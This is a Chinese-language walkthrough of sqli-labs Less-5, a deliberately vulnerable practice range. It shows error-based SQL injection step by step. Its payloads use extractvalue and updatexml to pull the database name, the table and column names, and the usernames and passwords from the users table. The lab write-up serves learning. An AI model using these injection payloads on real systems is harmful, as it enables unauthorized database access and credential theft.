sqli-labs靶场 less5

文章目录


sqli-labs靶场

每道题都从以下模板讲解,并且每个步骤都有图片,清晰明了,便于复盘。

sql注入的基本步骤

  • 注入点
  • 注入类型
    • 字符型:判断闭合方式 ('、"、''、"")
    • 数字型
  • 根据实际情况,选择合适的注入方式
  • 获取数据库名,表名,列名,数据

less 5 报错注入

  • 题目类型: 字符型 ' 闭合 (无回显)

id=1

显示 You are in

id=1'

显示报错信息,分析得到闭合方式是单引号

id=1' order by 4--+

报错,说明不存在第4列

id=1' order by 3 --+

正确回显,说明表的字段数为3列

分析该题,可以得到,输入错误语句会显示报错信息,因此我们可以使用报错注入

id=1'and+extractvalue(1,concat(0x7e,(select schema()),0x7e))--+

通过extractvalue函数报错注入得到数据库名

id=1'and+extractvalue(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema="security") ,0x7e))--+

报错注入得到表名

id=1'and+extractvalue(1,concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users") ,0x7e))--+

报错注入得到字段名

id=1'and+extractvalue(1,concat(0x7e, (select group_concat(id,"-",username,"-",password) from users) ,0x7e))--+

或者 id=1'and+extractvalue(1,concat(0x7e, (select group_concat(id,"-",username,"-",password) from users) ,0x7e))--+ 推荐

报错注入得到数据


注意: 由于子查询返回的数据太长,但extractvalue函数报错输出字符有长度限制,最长32位,通过substr或者substring 截取获取 ->解决报错注入一次只能回显32字符的问题

id=1'and+extractvalue(1,concat(0x7e, (select substring( group_concat(id,"-",username,"-",password),1,32) from users) ,0x7e))--+

id=1'and+extractvalue(1,concat(0x7e, (select substring( group_concat(id,"-",username,"-",password),31,32) from users) ,0x7e))--+

  • updatexml函数与extractvalue原理相似
    id=1'+and+updatexml(1,concat(0x7e,(select group_concat(id,"-",username,"-",password) from users),0x7e),1)--+

相关推荐
Cat God 0071 天前
SQL使用及注意事项
数据库·sql·mysql
voltina1 天前
【SQL】【事务】
数据库·sql
Hello.Reader1 天前
Flink SQL Time Travel用 FOR SYSTEM_TIME AS OF 查询历史快照
大数据·sql·flink
Hello.Reader2 天前
Flink SQL Window Deduplication按窗口“保留第一条/最后一条”记录(Streaming)
大数据·sql·flink
先做个垃圾出来………2 天前
如何判断一个SQL逻辑是否需要拆分为多个事务单元
数据库·sql·oracle
晨曦5432102 天前
数据库视图:数据安全与查询利器
数据库·sql·mysql
方方怪2 天前
数据库 SQL 语句大全
数据库·sql·oracle
正在走向自律2 天前
从Oracle到金仓KES:PL/SQL兼容性与高级JSON处理实战解析
数据库·sql·oracle·json·金仓数据库·电科金仓·兼容性挑战
cyhysr2 天前
oracle的model子句让sql像excel一样灵活
数据库·sql·oracle